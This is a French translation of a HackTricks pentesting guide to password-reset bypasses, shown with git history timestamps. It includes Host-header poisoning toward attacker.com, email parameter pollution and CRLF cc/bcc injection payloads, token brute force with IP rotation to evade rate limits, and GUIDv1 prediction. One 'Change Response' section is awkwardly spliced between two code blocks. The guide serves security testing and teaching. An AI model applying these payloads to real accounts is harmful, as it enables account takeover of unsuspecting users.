hacktricks/pentesting-web/reset-password.md

326 lines
16 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
# Contournement de réinitialisation/mot de passe oublié
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
2022-10-27 23:22:18 +00:00
2023-06-03 13:10:46 +00:00
[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3**
2023-02-27 09:28:45 +00:00
2023-06-03 13:10:46 +00:00
🐞 Lisez les tutoriels de bugs web3
2023-02-27 09:28:45 +00:00
2023-06-03 13:10:46 +00:00
🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs
2023-02-27 09:28:45 +00:00
2023-06-03 13:10:46 +00:00
💬 Participez aux discussions de la communauté
2022-10-27 23:22:18 +00:00
2023-06-03 13:10:46 +00:00
Les techniques suivantes ont été recompilées à partir de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
2023-06-03 13:10:46 +00:00
## Fuite de jeton de réinitialisation de mot de passe via le référent
2023-06-03 13:10:46 +00:00
Le **référent HTTP** est un champ d'en-tête HTTP facultatif qui identifie l'adresse de la page Web qui est liée à la ressource demandée. L'en-tête de requête Referer contient l'adresse de la page Web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi.
2021-04-07 13:16:44 +00:00
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
2022-10-26 09:16:32 +00:00
### Exploitation
2023-06-03 13:10:46 +00:00
* Demandez la réinitialisation du mot de passe à votre adresse e-mail
* Cliquez sur le lien de réinitialisation du mot de passe
* Ne changez pas le mot de passe
* Cliquez sur n'importe quel site tiers (par exemple : Facebook, Twitter)
* Interceptez la requête dans le proxy Burpsuite
* Vérifiez si l'en-tête référent divulgue le jeton de réinitialisation de mot de passe.
2022-10-26 09:16:32 +00:00
### Impact
2020-10-07 09:34:02 +00:00
2023-06-03 13:10:46 +00:00
Cela permet à la personne qui contrôle un site particulier de changer le mot de passe de l'utilisateur (attaque CSRF), car cette personne connaît le jeton de réinitialisation de mot de passe de l'utilisateur.
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
### Référence :
2021-04-07 10:04:56 +00:00
* https://hackerone.com/reports/342693
* https://hackerone.com/reports/272379
* https://hackerone.com/reports/737042
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
2023-06-03 13:10:46 +00:00
## Poisoning de réinitialisation de mot de passe
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
Si vous trouvez une attaque d'en-tête d'hôte et qu'elle est hors de portée, essayez de trouver le bouton de réinitialisation de mot de passe !
2021-04-07 10:04:56 +00:00
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
2022-10-26 09:16:32 +00:00
### Exploitation
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
* Interceptez la demande de réinitialisation de mot de passe dans Burpsuite
* Ajoutez l'en-tête suivant ou modifiez l'en-tête dans Burpsuite (essayez un par un)
2022-10-26 09:16:32 +00:00
```
2021-04-07 10:04:56 +00:00
Host: attacker.com
```
2022-10-26 09:16:32 +00:00
```
2021-04-07 10:04:56 +00:00
Host: target.com
X-Forwarded-Host: attacker.com
```
2022-10-26 09:16:32 +00:00
```
2021-04-07 10:04:56 +00:00
Host: target.com
Host: attacker.com
```
2023-06-03 13:10:46 +00:00
* Vérifiez si le lien pour changer le mot de passe dans l'e-mail pointe vers attacker.com
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
### Correctif
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
Utilisez `$_SERVER['SERVER_NAME']` plutôt que `$_SERVER['HTTP_HOST']`
2021-04-07 10:04:56 +00:00
```php
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
```
2022-10-26 09:16:32 +00:00
### Impact
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
La victime recevra le lien malveillant dans son courrier électronique et, lorsqu'elle cliquera dessus, elle divulguera le lien / jeton de réinitialisation de mot de passe de l'utilisateur à l'attaquant, ce qui entraînera la prise de contrôle complète du compte.
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
### Référence:
2021-04-07 10:04:56 +00:00
* https://hackerone.com/reports/226659
* https://hackerone.com/reports/167631
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
2023-06-03 13:10:46 +00:00
## Réinitialisation de mot de passe avec manipulation du paramètre de courrier électronique
2021-04-07 10:04:56 +00:00
2022-10-26 09:16:32 +00:00
### Exploitation
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
* Ajouter l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant &
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
2023-06-03 13:10:46 +00:00
* Ajouter l'email de l'attaquant en tant que deuxième paramètre en utilisant %20
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
2023-06-03 13:10:46 +00:00
* Ajouter l'email de l'attaquant en tant que deuxième paramètre en utilisant |
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
2023-06-03 13:10:46 +00:00
* Ajouter l'email de l'attaquant en tant que deuxième paramètre en utilisant cc
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
2023-06-03 13:10:46 +00:00
* Ajouter l'email de l'attaquant en tant que deuxième paramètre en utilisant bcc
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
2023-06-03 13:10:46 +00:00
* Ajouter l'email de l'attaquant en tant que deuxième paramètre en utilisant ,
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
2023-06-03 13:10:46 +00:00
* Ajouter l'email de l'attaquant en tant que deuxième paramètre dans le tableau json
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
2023-06-03 13:10:46 +00:00
### Référence
2021-04-07 10:04:56 +00:00
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
* https://twitter.com/HusseiN98D/status/1254888748216655872
2023-06-03 13:10:46 +00:00
## Modification de l'e-mail et du mot de passe de n'importe quel utilisateur via les paramètres de l'API
2021-04-07 10:04:56 +00:00
2022-10-26 09:16:32 +00:00
### Exploitation
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
* L'attaquant doit se connecter avec son compte et accéder à la fonctionnalité de changement de mot de passe
* Démarrer Burp Suite et intercepter la requête
* Après avoir intercepté la requête, l'envoyer à Repeater et modifier les paramètres E-mail et Mot de passe
2021-04-07 10:04:56 +00:00
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
2023-06-03 13:10:46 +00:00
### Référence
2021-04-07 10:04:56 +00:00
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
2023-06-03 13:10:46 +00:00
### Pas de limitation de taux : bombardement de courriels <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
2021-04-07 10:04:56 +00:00
2022-10-26 09:16:32 +00:00
### Exploitation
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
* Démarrez Burp Suite et interceptez la demande de réinitialisation de mot de passe
* Envoyez à Intruder
* Utilisez une charge utile nulle
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
### Référence
2021-04-07 10:04:56 +00:00
* https://hackerone.com/reports/280534
* https://hackerone.com/reports/794395
2023-06-03 13:10:46 +00:00
## Découvrez comment le jeton de réinitialisation de mot de passe est généré
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
Découvrez le modèle de jeton de réinitialisation de mot de passe
2021-04-07 10:04:56 +00:00
2022-10-26 09:16:32 +00:00
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
Si elle est
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
* Généré en fonction de l'horodatage
* Généré en fonction de l'ID utilisateur
* Généré en fonction de l'e-mail de l'utilisateur
* Généré en fonction du prénom et du nom de famille
* Généré en fonction de la date de naissance
* Généré en fonction de la cryptographie
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
Utilisez Burp Sequencer pour trouver l'aléatoire ou la prévisibilité des jetons.
2022-10-26 09:16:32 +00:00
2023-06-03 13:10:46 +00:00
## GUID devinable
2022-10-26 09:16:32 +00:00
2023-06-03 13:10:46 +00:00
Il existe différents types de GUID :
2022-10-26 09:16:32 +00:00
2023-06-03 13:10:46 +00:00
* **Version 0 :** Ne se trouve que dans le GUID nul ("00000000-0000-0000-0000-000000000000").
* **Version 1 :** Le GUID est généré de manière prévisible en fonction de :
* L'heure actuelle
* Une "séquence d'horloge" générée de manière aléatoire qui reste constante entre les GUID pendant le temps de fonctionnement du système de génération
* Un "ID de nœud", qui est généré en fonction de l'adresse MAC du système si elle est disponible
* **Version 3 :** Le GUID est généré à l'aide d'un hachage MD5 d'un nom et d'un espace de noms fournis.
* **Version 4 :** Le GUID est généré de manière aléatoire.
* **Version 5 :** Le GUID est généré à l'aide d'un hachage SHA1 d'un nom et d'un espace de noms fournis.
2022-10-26 09:16:32 +00:00
2023-06-03 13:10:46 +00:00
Il est possible de regarder un GUID et de trouver sa version, il y a un petit outil pour cela : [**guidtool**](https://github.com/intruder-io/guidtool)\*\*\*\*
2022-10-26 09:16:32 +00:00
```http
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426
```
2023-06-03 13:10:46 +00:00
Si la version utilisée pour générer un GUID de réinitialisation de mot de passe est la version 1, il est possible de bruteforcer les GUIDS :
2022-10-26 09:16:32 +00:00
```http
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c
```
2023-06-03 13:10:46 +00:00
### Références
2022-10-26 09:16:32 +00:00
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
2023-06-03 13:10:46 +00:00
## Manipulation de la réponse : Remplacer une mauvaise réponse par une bonne
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
Recherchez des requêtes et des réponses comme celles-ci
2021-04-07 10:04:56 +00:00
```php
HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
```
2023-06-03 13:10:46 +00:00
# Réinitialisation de mot de passe
Lorsqu'un utilisateur demande une réinitialisation de mot de passe, il est courant que le système envoie un e-mail avec un lien unique pour réinitialiser le mot de passe. Cependant, il est possible que le lien envoyé par e-mail soit vulnérable à une attaque de type "Change Response".
## Technique
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
L'attaque de type "Change Response" consiste à intercepter la requête HTTP envoyée par l'utilisateur lorsqu'il clique sur le lien de réinitialisation de mot de passe, puis à modifier la réponse HTTP renvoyée par le serveur. Cette attaque peut être réalisée en utilisant un proxy HTTP tel que Burp Suite.
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
Lorsque l'utilisateur clique sur le lien de réinitialisation de mot de passe, le proxy intercepte la requête et la renvoie au serveur. Le serveur renvoie ensuite une réponse HTTP contenant un formulaire permettant à l'utilisateur de saisir un nouveau mot de passe. Le proxy intercepte cette réponse et la modifie pour que le formulaire renvoie le nouveau mot de passe à un serveur contrôlé par l'attaquant.
## Contre-mesures
Pour se protéger contre cette attaque, il est recommandé d'utiliser des liens de réinitialisation de mot de passe à usage unique qui expirent après une période de temps limitée. Il est également recommandé d'utiliser des protocoles de sécurité tels que HTTPS pour chiffrer les communications entre le client et le serveur.
Enfin, il est important de sensibiliser les utilisateurs aux risques de sécurité associés à la réinitialisation de mot de passe et de leur apprendre à vérifier l'URL du site web avant de saisir des informations sensibles.
2021-04-07 10:04:56 +00:00
```php
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
```
2023-06-03 13:10:46 +00:00
### Référence
2021-04-07 10:04:56 +00:00
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
2023-06-03 13:10:46 +00:00
### Utilisation d'un jeton expiré <a href="#8-using-expired-token" id="8-using-expired-token"></a>
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
* Vérifiez si le jeton expiré peut être réutilisé.
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
### Brute Force du jeton de réinitialisation de mot de passe <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
Essayez de forcer le jeton de réinitialisation en utilisant Burpsuite.
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
```
2023-06-03 13:10:46 +00:00
* Utilisez IP-Rotator sur burpsuite pour contourner la limitation de taux basée sur l'adresse IP.
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
### Référence
2021-04-07 10:04:56 +00:00
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
2023-06-03 13:10:46 +00:00
### Essayez d'utiliser votre jeton <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
* Essayez d'ajouter votre jeton de réinitialisation de mot de passe avec le compte de la victime.
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$
```
2023-06-03 13:10:46 +00:00
### Référence
2021-04-07 10:04:56 +00:00
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
2021-03-22 09:20:53 +00:00
2023-06-03 13:10:46 +00:00
## Invalidité de session lors de la déconnexion/réinitialisation de mot de passe
2023-06-03 13:10:46 +00:00
Lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe, la session en cours doit être invalidée.\
Par conséquent, **récupérez les cookies** pendant que l'utilisateur est connecté, **déconnectez-vous**, et **vérifiez** si les **cookies** sont toujours **valides**.\
Répétez le processus en **changeant le mot de passe** au lieu de vous déconnecter.
2023-06-03 13:10:46 +00:00
## Temps d'expiration du jeton de réinitialisation
2023-06-03 13:10:46 +00:00
Les **jetons de réinitialisation doivent avoir un temps d'expiration**, après quoi le jeton ne doit plus être valide pour changer le mot de passe d'un utilisateur.
2023-06-03 13:10:46 +00:00
## Vérifications supplémentaires
2023-06-03 13:10:46 +00:00
* Utilisez username@burp\_collab.net et analysez le rappel
* Utilisateur en copie carbone email=victim@mail.com%0a%0dcc:hacker@mail.com
* Un mot de passe long (>200) entraîne un déni de service
* Ajoutez un deuxième paramètre et une valeur d'e-mail
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
2022-10-27 23:22:18 +00:00
2023-06-03 13:10:46 +00:00
[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3**
2022-10-27 23:22:18 +00:00
2023-06-03 13:10:46 +00:00
🐞 Lisez les tutoriels de bugs web3
2023-02-27 09:28:45 +00:00
2023-06-03 13:10:46 +00:00
🔔 Soyez informé des nouveaux programmes de primes pour bugs
2023-02-27 09:28:45 +00:00
2023-06-03 13:10:46 +00:00
💬 Participez aux discussions de la communauté
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>